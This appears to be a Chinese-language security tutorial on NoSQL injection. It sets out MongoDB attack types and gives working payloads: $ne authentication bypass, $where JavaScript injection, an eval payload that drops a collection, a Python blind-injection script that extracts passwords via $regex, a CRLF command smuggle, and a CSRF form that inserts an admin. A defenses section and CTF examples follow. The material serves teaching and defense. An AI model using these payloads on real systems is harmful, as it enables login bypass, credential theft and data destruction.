Nosql注入总结
字数 1460 2025-08-11 11:39:36
NoSQL注入攻击全面指南
一、NoSQL数据库基础
1. NoSQL数据库概述
NoSQL数据库(Not Only SQL)是一种非关系型数据库,主要特点包括:
- 非表格格式存储数据
- 灵活的数据模型
- 易于水平扩展
- 适合处理大量非结构化数据
2. NoSQL数据库类型
| 类型 | 描述 | 代表产品 |
|---|---|---|
| 文档数据库 | 以类似JSON格式存储数据 | MongoDB, CouchDB |
| 键值数据库 | 简单的键值对存储 | Redis, DynamoDB |
| 宽列存储 | 表格式但列可动态变化 | Cassandra, HBase |
| 图形数据库 | 以节点和边存储关系数据 | Neo4j, JanusGraph |
3. NoSQL数据库优势
- 高性能:如Redis单节点每秒可处理10万+读写操作
- 易扩展:天然支持水平扩展
- 低成本:相比关系型数据库授权费用低
- 灵活数据模型:无需预定义字段结构
二、NoSQL注入原理与分类
1. 基本原理
NoSQL注入与传统SQL注入类似,但利用的是特定NoSQL产品的查询语法。攻击特点:
- 查询使用应用程序编程语言编写(PHP/JS/Python等)
- 成功注入可能执行数据库和应用程序命令
2. 攻击分类
按语言分类
- PHP数组注入
- JavaScript注入
- Mongo Shell拼接注入
按攻击机制分类
- 重言式注入(永真式)
- 联合查询注入
- JavaScript注入
- 盲注
- 背负式查询
- 跨域违规
三、NoSQL注入攻击技术详解
1. 重言式注入(永真式)
原理:注入代码使条件表达式永远为真,绕过认证
MongoDB操作符:
$gt(大于)$lt(小于)$ne(不等于)$eq(等于)$regex(正则匹配)
示例:
username[$ne]=1&password[$ne]=1
转换为查询:
db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
2. 联合查询注入
原理:通过字符串拼接改变查询逻辑
示例:
username=admin', $or:a': 'a&password='
转换为查询:
db.users.find({ username: 'admin', $or:a':'a', password: '' })
3. JavaScript注入
利用点:MongoDB的$where操作符执行JS代码
示例:
username=1&password=1';return true//
转换为查询:
db.users.find({$where: "function(){return true}"})
4. Command方法注入
危险操作:直接执行Shell命令
示例PHP漏洞代码:
$cmd = new MongoDB\Driver\Command([
'eval' => "db.users.distinct('username',{'username':'$username'})"
]);
攻击payload:
username=1'});db.users.drop();db.user.find({'username':'1
5. 盲注技术
利用操作符:
$eq(等于)$regex(正则匹配)
判断密码长度:
http://example.com?username=admin&password[$regex]=.{5}
自动化脚本示例:
import requests
import string
password = ''
url = 'http://example.com/login'
while True:
for c in string.printable:
payload = {
"username": "admin",
"password[$regex]": f"^{password + c}"
}
r = requests.post(url, data=payload)
if 'Login Success' in r.text:
password += c
print(f"[+] Found: {password}")
break
6. 背负式查询(Burdened Query)
原理:通过注入换行符执行多条命令
示例:
key1 0 3600 4\r\nabcd\r\nset key2 0 3600 4\r\ninject\r\n
7. 跨域违规(CSRF攻击)
攻击场景:针对暴露REST API的NoSQL数据库
示例攻击代码:
<form action="http://internal.db/hr/admins/_insert" method="POST">
<input type="text" name="docs" value='[{"username":"attacker"}]' />
</form>
<script>document.forms[0].submit();</script>
四、NoSQL注入防御措施
- 输入验证:严格校验所有用户输入
- 参数化查询:使用驱动程序提供的安全方法
- 最小权限原则:限制数据库账户权限
- 禁用危险功能:如
eval和$where操作符 - 启用认证:配置数据库访问控制
- 更新补丁:保持数据库和驱动最新版本
- 防火墙规则:限制数据库网络访问
五、实战案例
1. HackTheBox靶机Shoppy
攻击方式:Node.js环境下的MongoDB重言式注入
payload示例:
username[$ne]=1&password[$ne]=1
2. Node.js注入靶场
测试环境:vulnerable-node-app
六、总结
NoSQL注入虽然原理与传统SQL注入不同,但危害同样严重。攻击者可以利用各种技术绕过认证、提取数据甚至执行任意代码。防御需要从开发习惯、配置管理和架构设计多方面入手。